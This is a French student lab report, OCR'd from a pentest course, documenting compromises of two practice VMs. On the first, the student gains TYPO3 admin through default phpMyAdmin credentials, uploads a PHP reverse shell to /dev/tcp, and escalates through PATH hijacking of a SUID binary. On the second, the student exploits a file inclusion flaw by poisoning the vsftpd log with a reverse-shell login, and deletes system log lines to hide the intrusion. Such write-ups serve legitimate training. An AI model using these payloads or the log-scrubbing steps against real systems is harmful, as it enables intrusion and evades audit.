I'adresse IP est affiché sur I'interface de connexion de la machine :

Nous allons malgré tout effectuer un nmap agressif sur la machine afin d’obtenir un
maximum d’informations sur celle-ci :

— -A 192.168.1.10

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-12 17:06 +04
Nmap scan report for 192.168.1.10

Host is up (0.0023s latency).

Not shown: 995 closed tcp ports (conn-refused)

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb1@u2 (protocol 2.0)
| ssh-hostkey:

| 2048 cd:dc:8f:24:51:73:54:bc:87:62:a2:e6:ed:fl:cl:b4 (RSA)

| 256 a9:39:a9:bf:b2:f7:01:22:65:07:be:15:48:e8:ef:11 (ECDSA)

|_ 256 77:f5:a9:ff:a6:44:7c:9c:34:41:f1:ec:73:5e:57:bd (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))

| _http-server-header: Apache/2.4.38 (Debian)

| _http-title: Page Not Found

8000/tcp open http Apache httpd 2.4.38

| _http-title: Did not follow redirect to http://typo.local

| _http-server-header: Apache/2.4.38 (Debian)

| http-open-proxy: Potentially OPEN proxy.

| _Methods supported:CONNECTION

8080/tcp open http Apache httpd 2.4.38 ((Debian))

| _http-open-proxy: Proxy might be redirecting requests

| _http-title: Site doesn't have a title (text/html).

| _http-server-header: Apache/2.4.38 (Debian)

8081/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html).

| _http-server-header: Apache/2.4.38 (Debian)

Service Info: Host: 127.0.0.1; 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.24 seconds

Nous avons donc cing ports ouverts avec un service ssh et un service http sur quatre ports
différents.
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Commencons par analyser le service proposé par le port 80 :

C O & 192168.1.10 w @ LY @ §H - @ =

TYPO3

() Page Not Found
The page did not exist or was inaccessible. Reason: No site configuration found

Nous avons donc un service typo3 (un service CMS basé sur le php) qui nous affiche le
message d’erreur de la page manquante. Tentons de découvrir des ressources cachées sur
cette machine au moyen de la commande gobuster dir -u http://192.168.1.10 -w
/usr/share/dirb/wordlists/common.xt :
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Nous avons beaucoup de ressources mais peu de droits, les seules auxquelles nous
pouvons potentiellement accéder sont fileadmin, typo3, typo3conf et typo3temp.

Commencgons par analyser fileadmin :

(5] = 403 Forbidden X  +

<« C O & 192.168.1.10

Forbidden

You don't have permission to access this resource.

Apache/2.4.38 (Debian) Server at 192.168.1.10 Port 80

Mais il semble que le serveur typo3 nous interdit I'accés a cette page, continuons donc :

=] TYPO3 CMS Login: TYPO3 . -

<« @ QO & 192.168.1.10

jfoirjfri&

e

More about TYPO3

Et nous trouvons cette page avec un login et mot de passe déja sélectionnés.
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Un login étant jfoirjfri& et un mot de passe étant nfororvo, un mot de passe affiché un
modifiant la valeur du type password en texte dans le code html en inspectant la page.

<input id="t3-password"” class="form-control input-login t3js-clearable t3js-login-password-
field" type="text" name="p_field" value="" aria-label="Password” placeholder="Password"
required="required" data-rsa-encryption="t3-field-userident"> |event

=] TYPO3 CMS Login: TYPO3 . -

<« C O & 192.168.1.10

jfoirjfrig&

nfororvo

]

More about TYPO3

Mais sont-ils corrects ?

Your login attempt did not
succeed

Make sure to spell your username and
password correctly, including upper/
lowercase characters.

Non, et les autres ressources typo3conf et typo3temp sont également des culs de sac.




Analysons les trois ports restants en commengant par le port 8000 :

E] @ Adresse introuvable X ar

&« C ® typo.local

La page sert de lien vers typo.local auquel nous ne pouvons pas accéder, et logiquement,
effectuer une analyse gobuster au moyen de la commande gobuster dir -u
http://192.168.1.10:8000 -w /usr/share/dirb/wordlists/common.txt n’est pas concluante :

://192.168.1.10:8000 /usr/share/dirb/wordlists/common.txt

En ajoutant la ligne 792.168.1.10:8000 typo.local dans le fichier /etc/resolv.conf de la
machine attaquante puis en tentant a nouveau, voici la page sur laquelle nous tombons :

#®  Armour: Infosec X +

« > C 0B O & typo.local

Kali Linux # Kali Tools ¢ KaliDocs N Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB OffSec

HELLO User!

La page semble étre une sorte d’accueil a un utilisateur typo3, et effectivement, nous
pouvons accéder a la page de login typo3 :

® ' TYPO3CMSLogin:TYPO3X  +

« C @ QO A typo.local

KaliLinux @ KaliTools * KaliDocs N Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB OffSec

More about TYPO3
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Et nous retrouvons également les autres ressources présentes sur le port 80. Mais mis a
part cela, rien de plus...

En analysant le port 8080, nous obtenons une simple page blanche, tentons d’effectuer une
analyse gobuster au moyen de la commande gobuster dir -u http://192.168.1.10:8080 -w
/usr/share/dirb/wordlists/common.txt :

— )= [~

—$ ¢ ter dir -u http://192.168.1.10:8080 -w /usr/share/dirb/wordlists/common.txt

Gobuster v3.6
by 0J Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] url: http://192.168.1.10:8080

[+] Method: GET

[+] Threads: 10

[+] wordlist: /usr/share/dirb/wordlists/common.txt
[+] Negative Status codes: 404

[+] User Agent: gobuster/3.6

[+] Timeout: 10s

Starting gobuster in directory enumeration mode

/.htpasswd (Status: 403) [Size: 279]
/.htaccess (Status: 403) [Size: 279]
/.hta (Status: 403) [Size: 279]
/index.html (Status: 200) [Size: 0]
/phpinfo.php (Status: 200) [Size: 95880]
/server-status (Status: 403) [Size: 279]

Progress: 4614 / 4615 (99.98%)

Finished
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Tentons d’analyser cette page phpinfo.php :

(5  PHP73.14-1~deb10ul - phpinfo) X  +

« C O & 192168.1.10 o

PHP Version 7.3.14-1~deb10u1

Apres analyse, il y a beaucoup d'informations intéressantes mais aucune qui fait avancer
concrétement notre histoire...

Le dernier port est 8081, analysons le donc :

5)  192.168.1.10:8081/ X +

<« (@ O & 192.168.1.10:8081
HELLO

Un simple message de bonjour, utilisons I'habituel gobuster afin de trouver de potentielles
ressources cachées, la commande utilisée est gobuster dir -u http://192.168.1.10:8081 -w
/usr/share/dirb/wordlists/common.txt :

~

— ter dir -u http://192.168.1.10:8081 -w /usr/share/dirb/wordlists/common.txt

Gobuster v3.6
by 0J Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: http://192.168.1.10:8081

[+] Method: GET

[+] Threads: 10

[+] wordlist: /usr/share/dirb/wordlists/common. txt
[+] Negative Status codes: 404

[+] User Agent: gobuster/3.6

[+] Timeout: 10s

Starting gobuster in directory enumeration mode

/.htaccess (Status: 403) [Size: 279]
/.hta (Status: 403) [Size: 279]
/.htpasswd (Status: 403) [Size: 279]
/index.html tatus: : [Size: 6]

/phpmyadmin t 1) [Size: 324]
/server-status (Stat 403) [Size: 279]

Progress: 4614 / 4615 (99.98%)

Finished
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Et enfin une avancée concréte ! Un serveur phpmyadmin vient de potentiellement étre
trouvé, analysons le donc de plus prét :

E] 4% phpMyAdmin X +

<« @] O & 192168.1.10

php
Bienvenue dans phpMyAdmin

Langue - Language

Frangais - French

Connexion &

Utilisateur :

Mot de passe :

Exécuter

Nous avons un serveur phpmyadmin par défaut, testons donc la combinaison login/mot de
passe par défaut qui est root/root :

=/ Comptes utilisateurs =4 Exporter [ul Importer Paramétres Réplication Variables ¥ Plus

aale
Récentes Préférées
™
— & Nouvelle base de données
Information_schema
mysql
performance_schema

N au serveur: & | utf8mbd_unicode_ci

4 sys
TYPO3

uropean (latin1)

g Frangai
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Et bingo, nous sommes administrateur du serveur de base de données, d’ailleur, la base de
données TYPO3 semble intéressante, analysons la :

uid pid tstamp crdate cruser_id deleted disable starttime endtime description username avatar password

1 0 1585493609 1585481129 0 0 0 0 0 {admin}-) admin 0 Sargon2id$v=19% 6,p=28Q2E3NG1YeTESNKkxSI

2 0 1585494245 1585493674 0 Sargon2id$v=198m=655 =16,p=28WK5CQVhNYKIjL3YZL3.

Nous trouvons des utilisateurs et leurs mot de passe hachés, et c’est |a que nous nous
rendons compte que nous n’avons pas essayeé la combinaison login/mot de passe trés
simple qu’est user/user :

G W TPOo3[TYPO3CMS 1030] X . v = o
« > C QO & 192168.1.10 % T @ H = @ =
C I Ui X ® @ Qe

WEB

Dashboard

No widgets
There are no widgets on this dashboard yet. You can add widgets now by clicking on the button below.

+ Add & widget

Pag:
F

FILE

D
=]
L)
® v
= L
B
i
=
e

Et ¢ca fonctionne, il ne faudra plus commettre cette méme erreur a nouveau...
Dailleur, il y a un utilisateur admin mais le mot de passe n’est évidemment pas admin...

Puis petit tour de passe-passe, nous remplagons le hash du mot de passe d’admin par celui
d’'user afin que le mot de passe d’admin devienne user :

username avatar password

0 $argon2id$v=19$m=65536,t=16,p=23Wk5CQVhNYKIjL3YzL3...

0 $argon2id$v=19$m=65536,t=16,p=23Wk5CQVhNYKIjL3YzL3...

Evidemment, nous conservons une sauvegarde du hash remplacé afin de ne pas le
perdre...




SAE3.CYBER.04 Découverte du pentesting. BOUGHLEM

Et nous sommes admin :

C O & 192168.1.10 W @ ©@ § » @ =

N

) s * 5 ® 2 @ Q Search
WEB o
Dashboard
TYPO3 CMS 10.3.0

TYPO3 CMS is an enterprise-class, Open Source Content Management System, used internationally to build and manage

websites of all types, from small sites for non-profits to multilingual enterprise solutions for large corporations.
For further information visit typo3.org I Y P O 3

TYPO3 CMS is freely available under the TYPO3-license (GNU/GPL)

SEEWeWE C

You are using version 10.3.0 - Copyright © 1998-2024 Kasper Skrhej

SITE MANAGEMENT

Q 3l %

2

FILE

ADMIN TOOLS - TYPO3 news

TYPO3 Accessibility Initiative Needs Your Feedback 29-03-20
The TYPO3 Accessibility Initiative was reinitiated in June, 2019 by members of the TYPO3 community. Please help them by filling in their short survey.

Server Team Status Report—March 2020 29-03-20

This report is about recent changes, the current status, and the future of the TYPO3 Server Team. n

Status Update: the TYPO3 Guidebook 22-03-20
It takes a long time to write a book! The team at OSP are busy writing away and although you may not have heard from us in a while, we have been working hard in the backgroun

L ER R

Tentons d’injecter un fichier de reverse shell malveillant dans la section filelist de typo3
sachant que le code ne change pas par rapport aux machine précédentes et reste donc :

<?php

Ve

Plugin Name: BOUGHLEM Bilel Reverse Shell

Description: C’est ce plugin qui nous permettra d’avoir un shell avec un utilisateur ordinaire
(plus ou moins).

Y/

exec(/bin/bash -c "bash -i >& /dev/tcp/192.168.1.11/6666 0>&1");

?2>
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Mais ¢a ne fonctionne pas, le nom du fichier n’est pas accepté et c’est sGrement a cause de
I'extension du fichier (php) dont le caractére malveillant a été anticipé...

<« C O A& 192168.1.10

|
e

. Drag & drop to upload files
fi lick, browse & choo:

& FE - 3
user_upload Drop your files hes

& Filelist v B Tem files (_temp_)
port

Search

g7 ADMIN TOOLS -

| eintenance File Name ~

L s © BOUGHLEM _Bilel Reverse.php

form_definitions

- user_upload
€G! SYSTEM

a - ® Temporary files (_temp_)

L e [ Extended view

Path: fileadmin/ (auto-created):/ 4 Files, 0 B

o ?

Type Last Modified Size RW Ref

u

& i Folder 29-03-20 0 Files RW -

& 4 & rolder 29-03-20 OFiles RW -

o
m
& i M Folder 29-03-20 1File RW -
& m Folder 29-03-20 1File RW -

Et aprés quelques temps passés a explorer le site et faire des recherches, nous trouvons la

configuration qui restreint le nom du fichier :

[BE][fileDenyPattern] = \.(php[3-8]?|phpsh|phtml|pht|phar|shtml|...

A perl-compatible and JavaScript-compatible regular expression (without delimiters "/"!) that - if it matches a filename - will deny the file upload/
rename or whatever. For security reasons, files with multiple extensions have to be denied on an Apache environment with mod_alias, if the filename
contains a valid php handler in an arbitrary position. Also, ".htaccess" files have to be denied. Matching is done case-insensitive. Default value is stored

in PHP constant FILE_DENY_PATTERN_DEFAULT
\.(php[3-8]?|phpsh|phtml|pht|phar|shtml|cgi)(\..*)?$|\.pl$|~\.htaccess$

Supprimons le donc ! (en le conservant quelque part malgré tout)

File Name »

Type Last Modified Size RW Ref

PHP 12-12-24 0.2KB RW -

F1 BOUGHLEM_Bilel_Reverse.php

Et le fichier est donc accepté, exécutons le donc au travers de fileadmin :

E] 192.168.1.10/fileadmin/BOUGH| X +

< C

O & 192.168.1.10




DE

LA REUNION

Et une fois cela fait, nous mettons la machine attaquante en écoute sur son port 6666 au
moyen de la commande nc -lvhp 6666 puis attendons :

— -lvnp 6666

listening on [any] 6666

connect to [192.168.1.11] from (UNKNOWN) [192.168.1.10] 49472

bash: cannot set terminal process group (432): Inappropriate ioctl for device
bash: no job control in this shell

www-data@rtm@9: /var/ww/html/typo3/fileadmin$ |j

Et nous obtenons un shell avec I'utilisateur www-data !

Puis trouvons le premier flag contenu dans user.txt :

ww-datagrtmo9: /var/www/html/typo3/fileadmin$ cd ~
cd ~

ww-datagrtmo9: /var/ww$ 1s

ls

html

user.txt

ww-datagrtm@9:/var/ww$ cat user.txt

cat user.txt
ef291d844285d930fda3084bb2bel85f

Le premier flag est donc ef291d844285d930fda3084bb2be185f.
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9.2 - Obtention du second flag

Comment pourrions nous obtenir le second flag sachant qu'il requiert des droits root :

ww-datagrtm@9:/var/ww$ cd /root
cd /root
bash: cd: /root: Permissign denied

Quelles sont les commandes sur lesquelles nous avons des privileges de superutilisateur ?
Nous le saurons au moyen de la commande sudo -/ :

ww-datagrtmo9: /var/ww$ sudo -1
sudo -1
bash: sudo: command not found

Ou pas, une autre alternative est la commande find / -perm -4000 2>/dev/null :

ww-datagrtme9:/var/ww$ find / -perm -4000 2>/dev/null
find / -perm -4000 2>/dev/null
/usr/bin/mount

/usr/bin/newgrp

/usr/bin/chfn

/usr/bin/su

/usr/bin/gpasswd

/usr/bin/chsh

/usr/bin/umount

/usr/bin/passwd
/usr/1ib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/1ib/openssh/ssh-keysign
/usr/local/bin/apache2-restart
/usr/local/bin/phpunit

Les commandes apache2-restart et phpunit sont suspectes et sont probablement celles qui
vont nous permettre d’obtenir le flag root, mais comment ?
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C’est ce que nous tenterons de savoir en analysant leur maniére de fonctionner, nous
utiliserons les commandes strings /usr/local/bin/phpunit > /tmp/du23c.txt et strings
/usr/local/bin/apache2-restart > /tmp/du32c.txt afin d’extraire et afficher nos deux fichiers qui
sont binaires :

ww-datagrtm@9:/var/ww$ strings /usr/local/bin/phpunit > /tmp/du23c.txt

strings /usr/local/bin/phpunit > /tmp/du23c.txt

ww-data@rtme9: /var/ww$ strings /usr/local/bin/apache2-restart > /tmp/du32c.txt
<ngs /usr/local/bin/apache2-restart > /tmp/du32c.txt

Et voici nos deux fichiers :

ww-data@rtmo9: /var/www$ cd /tmp
cd /tmp

ww-datagrtmoe9: /tmp$ 1s

1s

du23c.txt

du32c.txt

A la lecture, le fichier du23c.txt qui correspond a phpunit est beaucoup trop long et
complexe, nous nous concentrons donc sur le fichier du32c.txt qui correspond a
apache2-restart :

/Nib64/ld-linux-x86-64.s0.2
59;Xq
__gmon_start
libc.so.6

setresgid

setresuid

system
__libc_start_main
GLIBC_2.2.5

fff.

fffft.

1$ L

tS(L

|$OH

service apache? start
GCC: (Debian 4.4.5-8) 4.4.5
.Symtab

.Strtab

.Shstrtab

.Interp

.note.ABI-tag
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.note.gnu.build-id
.gnu.hash
.dynsym

.dynstr
.gnu.version
.gnu.version_r
.rela.dyn

.rela.plt

.init

.text

fini

.rodata
.eh_frame_hdr
.eh_frame

.ctors

.dtors

Jer

.dynamic

.got

.got.plt

.data

.bss

.comment
call_gmon_start
cristuff.c
__CTOR_LIST__
__DTOR _LIST _
__JCR_LIST _
___do_global_dtors_aux
completed.6341
dtor_idx.6343
frame_dummy
__CTOR_END__
_ FRAME _END__
__JCR _END__
__do_global ctors_aux
suid-shellshock.c
_GLOBAL_OFFSET_TABLE _
__init_array_end
__Init_array_start
_DYNAMIC
data_start
__libc_csu_fini
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_ Start

__gmon_start__
_Jv_RegisterClasses

_fini

__libc_start main@@GLIBC 2.2.5
system@@GLIBC_2.2.5
setresuid@@GLIBC_2.2.5
_10_stdin_used
__data_start
__dso_handle

__DTOR _END__
__libc_csu_init
setresgid@@GLIBC 2.2.5
___bss_start

_end

_edata

main

_init

En 'analysant de plus prés, nous remarquons une faille dans le code :
service apache?2 start

Une faille car le chemin de service est relatif au lieu d’absolu, ce qui signifie que nous
pouvons tromper le code en créant notre propre fichier service :

echo /bin/bash > /tmp/service
chmod +x /tmp/service
export PATH=/tmp:$PATH

Ces trois commandes créent un script malveillant et modifient I'environnement d’exécution
pour détourner la commande service. La premiére crée un fichier exécutable nommé service
dans /tmp, qui exécute un /bin/bash pour obtenir un shell si ¢a fonctionne. La deuxiéme rend
ce fichier exécutable. La troisieme modifie la variable d’environnement PATH pour que le
systéme priorise le répertoire /tmp lors de I'exécution de commandes, for¢ant ainsi
I'utilisation de ce faux service au lieu de I'original.
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Et nous obtenons un shell root :

ww-datagrtm@9: /var/ww$ chmod +x /tmp/service
chmod +x /tmp/service

ww-datagrtmo9:/var/ww$ export PATH=/tmp:$PATH
export PATH=/tmp:$PATH

ww-datagrtme9: /var/www$ apache2-restart
apache2-restart

ls

html

user.txt

whoami

root

Et nous pouvons donc obtenir le flag :

cd /root

1s

root.txt

cat root.txt

Best of Luck

$2y$12$EUZztpmoFH8L JEZUBVYNKw.9AKf37uZWPxJp.A3aap2ffOLbLYZrF
1fdc1fdbb4cc4a356b18403fc605380a

Le second flag est donc 1fdc1fdbb4cc4a356b18403fc605380a.
Mais nous remarquons également le hash suivant :
$2y$12$EUztpmoFH8L]EzZUBVYNKw.9AKf37uZWPxJp.A3aap2ffOLbLYZrF

Un hash BCrypt, de facteur de colt 12 et un sel généré aléatoirement, ce ne sera pas le
genre de hash qui sera craqué tout de suite...

Nous nous contenterons du second flag trouvé.
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9.3 - Suppression des traces

Quant aux traces laissées, nous débutons par supprimer le fichier de reverse shell inséré
dans la machine cible, remettons en place la configuration restreignant les fichiers de type
php et modifions le mot de passe de admin de typo3 en remettant son hash en place dans la
base de données contenue dans phpmyadmin.

Une fois cela fait, c’est le dossier /var/log qui contient la majorité des traces de nos actions,
la commande /s -/t nous permettra d’afficher en triant les fichier en fonction de leur date de
derniére modification, découvrons donc quels fichiers nous devons modifier :

ls -1t

total 3740

-Trw-Tr 1 root adm 46238 Dec 12 21:17 auth.log
-T'w-r 1 root adm 1292797 Dec 12 21:17 syslog
-I'W-T 1 root adm 271467 Dec 12 21:09 daemon.log
-rw-rw-r-— 1 root utmp 71040 Dec 12 19:43 wtmp
-rw-rw—— 1 root utmp 5376 Dec 12 19:42 btmp

-Tw-Tr 1 root adm 908768 Dec 12 19:20 kern.log
-T'wW-Tr 1 root adm 768524 Dec 12 19:20 messages
-TW-r 1 root adm 152705 Dec 12 18:31 debug
-rw-rw-r-- 1 root wutmp 292292 Jun 18 2021 lastlog
-rw-r--r-— 1 root root 32032 Jun 18 2021 faillog
-rw-r--r-- 1 root root 197694 Jun 18 2021 dpkg.log
drwxr-xr-x 2 root root 4096 Jun 18 2021 apt
-rw-r——r-- 1 root root 21125 Mar 29 2020 alternatives.log
drwxr-x— 2 mysql adm 4096 Mar 29 2020 mysql
drwxr-x— 2 root adm 4096 Mar 29 2020 apache2
drwx 2 root root 4096 Mar 29 2020 private
drwxr-xr-x 3 root root 4096 Mar 29 2020 installer

Et pour vider les fichiers de seulement nos actions, nous les modifions en supprimant les
lignes contenant Dec 12 au moyen de la commande sed -i /*"Dec 12/d"' nomdufichier.

Ce sont donc tous les fichiers ayant comme date de dernieére modification Dec 12 que nous
modifiions de la sorte, sauf wtmp et btmp auxquels nous ne touchons pas.

Nous avons donc obtenu les deux flags puis supprimé les traces d’intrusion sur la machine
cible.




DE LA REUNION

SAE3.CYBER.04 Découverte du pentesting. BOUGHLEM

Machine 10

10.1 - Obtention du premier flag

L'adresse IP de la machine étant déja affichée sur I'’écran de connexion de la machine cible
comme étant 192.168.1.10 :

Hostname: rtmilo
IP address: 192.168.1.10

Nous pouvons directement effectuer un nmap agressif sur la machine au lieu du réseau au
moyen de la commande nmap -A 192.168.1.10 :

p— )=[ ~

L ap -A 192.168.1.10

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-13 19:16 +04
Nmap scan report for 192.168.1.10

Host is up (0.00045s latency).

Not shown: 997 closed tcp ports (conn-refused)

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r—r-- 10 0 104 Jun 18 2021 index.php
| ftp-syst:
STAT:

|
| FTP server status:

| Connected to ::ffff:192.168.1.15

| Logged in as ftp

| TYPE: ASCII

| No session bandwidth limit

| Session timeout in seconds is 300

| Control connection is plain text

| Data connections will be plain text

| At session startup, client count was 1

| vsFTPd 3.0.3 - secure, fast, stable

| _End of status

22/tcp open ssh OpenSSH 7.9p1 Debian 10+debl1@u2 (protocol 2.0)
| ssh-hostkey:

| 2048 b1:12:94:12:60:67:e1:0b:45:c1:8d:e9:21:13:bc:51 (RSA)

| 256 b7:7f:25:94:d6:4e:88:56:8a:22:34:16:c2:de:ba:02 (ECDSA)

|_ 256 30:c7:a22:90:39:5d:24:13:bf:aa:ba:4c:a7:f4:2f:bb (ED25519)
80/tcp open http nginx 1.14.2

|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| _http-server-header: nginx/1.14.2

Service Info: 0Ss: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.34 seconds




- irneonon | SAE3.CYBER.O4 Découverte du pentesting. BOUGHLEM

Nous avons donc des services ftp, ssh et http qui tournent sur la machine cible, tentons
d’analyser le service ftp, et sachant que celui est définit comme étant anonymous, nous
pouvons directement nous connecter avec le login anonymous et aucun mot de passe au
moyen de la commande fip 192.168.1.10 :

192.168.1.10
Connected to 192.168.1.10.
220 (vsFTPd 3.0.3)
Name (192.168.1.10:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type 1s UNIX.
Using binary mode to transfer files.
ftp> |}

La racine de celui-ci semble étre correctement configurée, et son seul contenu est un fichier

index.php que nous nous empressons de récupérer au moyen de la commande get
index.php :

ftp> pwd

Remote directory: /

ftp> 1s

229 Entering Extended Passive Mode (||]28554|)

150 Here comes the directory listing.

-IrW-r--r-- 10 ) 104 Jun 18 2021 index.php
226 Directory send OK.

ftp> get index.php

local: index.php remote: index.php

229 Entering Extended Passive Mode (||[65199])

150 Opening BINARY mode data connection for index.php (104 bytes).
100X | A *arr etk kA A A KA A AARARAKARAARARAIARARRARAIAR AR IRR AR AR IR RAR AR AR AR IRARAR AR IR AR AR AR AR AR AR AR R AR AR AR RA AR AR R A AR K
226 Transfer complete.

104 bytes received in 00:00 (7.77 KiB/s)

Et lisons le donc :

~

— t index.php
<?php

$file = $ GET['fil3'];
if(isset($file))

{

include($file);

}

else

{

print("Here my eyes...");
}

7>
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Et nous remarquons une faille dans ce fichier :
Sfile = $_GET[Til37];
Cette ligne ne vérifie pas I'argument du fichier que I'on peut donc modifier dans I'url, rendant

ce code vulnérable aux attaques de type d’inclusion de fichiers locaux. Peut étre ce code est
celui de la page fournie par le serveur http, analysons le donc :

—

=] 192.168.1.10/ X +

& @ O 8 192.168.1.10

Il semble que ce soit la bonne page, effectuons malgré tout une recherche de ressources
cachées sur le serveur au moyen de la commande gobuster dir -u http://192.168.1.10 -w
/usr/share/dirb/wordlists/common.txt :

dir http://192.168.1.10 /usr/share/dirb/wordlists/common.txt

Gobuster v3.6
by 0J Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: http://192.168.1.10

[+] Method: GET

[+#+] Threads: 10

[+] Wordlist: /usr/share/dirb/wordlists/common.txt
[+] Negative Status codes: 404

[+] User Agent: gobuster/3.6

[+#+] Timeout: 10s

Starting gobuster in directory enumeration mode

/index.php y [Size: 15]
Progress: 4614 / 4615 (99.98%)

Finished




Aucune ressource cachée, l'inclusion de fichier locaux est notre seul espoir :

<« C O @& 192168.1.10 w ® L& @ 8 - @ =

gin bin:x:2:2:bin:/bin:/ust/sbin/nologin sys:x:3:3:sys: of X nes:x:5:60:games:/usr/games:
ar/spool/Ipd:/ust/sbin/nologin ma :fust/sbi ews:/var/spool/ne; sbin/nologin

33:33:www-data:/var/w cl X:34:3 kups:/ust/sbin/nologin

nologin

Et nous pouvons effectivement accéder au contenu de /etc/passwd...

Mais nous ne pouvons pas accéder aux différents flags :

(5)  192.168.1.10/7fil3=/root/roottxt X  +

&« C O A 192.168.1.10

Il va falloir trouver une maniére de se connecter en tant que Monica, chose a laquelle nous
ne parvenons pas pour le moment...

Nous tentons de trouver des clés ssh et autres types de ressources qui nous permettraient
d’obtenir un shell mais sans succes, il va donc falloir revenir en arriére et trouver une
méthode alternative...

Et aprés avoir tenté d’effectuer des logs poisoning (c’est a dire des injections dans les
fichiers logs) ssh sans succeés, nous tentons la méme chose mais sur ftp en nous connectant
sur le serveur ftp au moyen de la commande ftp 192.168.1.10 et en saisissant comme login
notre code de reverse shell (raccourci en supprimant le commentaire) :

192.168.1.10
Connected to 192.168.1.10.
220 (vsFTPd 3.0.3)
Name (192.168.1.10:kali): <?php exec('/bin/bash -c "bash -i >& /dev/tcp/192.168.1.15/6666 0>51"'); ?>
331 Please specify the password.
Password:
530 Login incorrect.
ftp: Login failed
ftp> |}
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Au passage voici le code saisit :
<?php exec(/bin/bash -c "bash -i >& /dev/tcp/192.168.1.15/6666 0>&1"); 7>
Et voici I'astuce, ce code sera lu et exécuté si nous parvenons a lire un fichier le contenant,

et il se trouve que nous pouvons lire différents fichier dans la machine et, dans notre cas,
nous tentons de lire le fichier /var/log/vsftpd.log :

El http://192.168.1.10/?fil3=/var/log/v X +

C a view-source:http://192.168.1.10/?fil3=/var/log/vsftpd.log

1 Sun Apr 4 09:44:33 2021 [pid 22899] CONNECT: Client "::ffff:192.168.1.58"

2 Thu Dec 12 23:06:43 2024 [pid 451] CONNECT: Client "::ffff:192.168.50.179"

3 Thu Dec 12 23:06:43 2024 [pid 454] CONNECT: Client "::ffff:192.168.50.179"

4 Thu Dec 12 23:06:49 2024 [pid 457] CONNECT: Client ffff:192.168.50.179"

5 Thu Dec 12 23:06:49 2024 [pid 459] CONNECT: Client "::ffff:192.168.50.179"

6 Thu Dec 12 23:06:49 2024 [pid 463] CONNECT: Client "::ffff:192.168.50.179"

7 Thu Dec 12 23:06:49 2024 [pid 462] CONNECT: Client "::ffff:192.168.50.179"

8 Thu Dec 12 23:06:49 2024 [pid 458] [ftp] OK LOGIN: Client "::ffff:192.168.50.179", anon password "IEUser@"
9 Thu Dec 12 23:06:49 2024 [pid 461] [ftp] OK LOGIN: Client "::ffff:192.168.50.179", anon password "IEUser@"
10 Thu Dec 12 23:06:50 2024 [pid 460] [ftp] OK LOGIN: Client "::ffff:192.168.50.179", anon password "IEUser@"
11 Thu Dec 12 23:06:50 2024 [pid 481] CONNECT: Client "::ffff:192.168.50.179"
12 Thu Dec 12 23:06:50 2024 [pid 483] CONNECT: Client "::ffff:192.168.50.179"
13 Thu Dec 12 23:06:50 2024 [pid 485] CONNECT: Client ffff:192.168.50.179"
14 Thu Dec 12 23:10:40 2024 [pid 534] CONNECT: Client "::ffff:192.168.50.179"
15 Thu Dec 12 23:10:44 2024 [pid 533] [ftp] OK LOGIN: Client "::ffff:192.168.50.179", anon password "?"
16 Thu Dec 12 23:12:06 2024 [pid 535] [ftp] OK DOWNLOAD: Client "::ffff:192.168.50.179", "/index.php", 104 bytes, 7.98Kbyte/sec
17 Fri Dec 13 10:02:40 2024 [pid 542] CONNECT: Client "::ffff:192.168.1.15"
18 Fri Dec 13 10:02:43 2024 [pid 541] [<?php] FAIL LOGIN: Client "::ffff:192.168.1.15"

19 Fri Dec 13 10:03:20 2024 [pid 544] CONNECT: Client "::ffff:192.168.1.15"

20 Fri Dec 13 10:03:24 2024 [pid 543] [<?php] FAIL LOGIN: ClLient "::ffff:192.168.1.15"
21 Fri Dec 13 10:06:06 2024 [pid 546] CONNECT: Client "::ffff:192.168.1.15"

22 Fri Dec 13 10:06:10 2024 [pid 545] [] FAIL LOGIN: Client "::ffff:192.168.1.15"

23 Fri Dec 13 10:16:54 2024 [pid 601] CONNECT: Client "::ffff:192.168.1.15"

24 Fri Dec 13 10:17:00 2024 [pid 609] CONNECT: Client "::ffff:192.168.1.15"

25 Fri Dec 13 10:17:00 2024 [pid 610] CONNECT: Client "::ffff:192.168.1.15"

26 Fri Dec 13 10:17:00 2024 [pid 611] CONNECT: Client "::ffff:192.168.1.15"

27 Fri Dec 13 10:17:00 2024 [pid 668] CONNECT: Client "::ffff:192.168.1.15"

28 Fri Dec 13 10:17:00 2024 [pid 604] [ftp] OK LOGIN: Client "::ffff:192.168.1.15", anon password "IEUser@"
29 Fri Dec 13 10:17:00 2024 [pid 607] [ftp] OK LOGIN: Client "::ffff:192.168.1.15", anon password "IEUser@"
30 Fri Dec 13 10:17:02 2024 [pid 603] [ftp] OK LOGIN: Client "::ffff:192.168.1.15", anon password "IEUser@"

Client
Client
Client
Client

31 Fri Dec 13 10:17:02 2024 [pid 631] CONNECT:
32 Fri Dec 13 10:17:02 2024 [pid 633] CONNECT:
33 Fri Dec 13 10:17:02 2024 [pid 635] CONNECT:

s ffff:192.168.1.15"
s ffff:192.168.1.15"
s ffff:192.168.1.15"

34 Fri Dec 13 10:17:41 2024 [pid 637] CONNECT:

35 Fri

Dec

:17:45

2024 [pid 636] [ftp] OK

s ffff:192.168.1.15"

LOGIN: Client "::ffff:192.168.1.15", anon password "?"

36 Fri Dec 13 10:23:56 2024 [pid 643] CONNECT:
37 Fri Dec 13 10:24:08 2024 [pid 642] [] FAIL LOGIN: Client

Client "::ffff:192.168.1.15"
"::ffff:192.168.1.15"

Au méme moment, nous mettons notre machine attaquante en écoute sur son port 6666 au
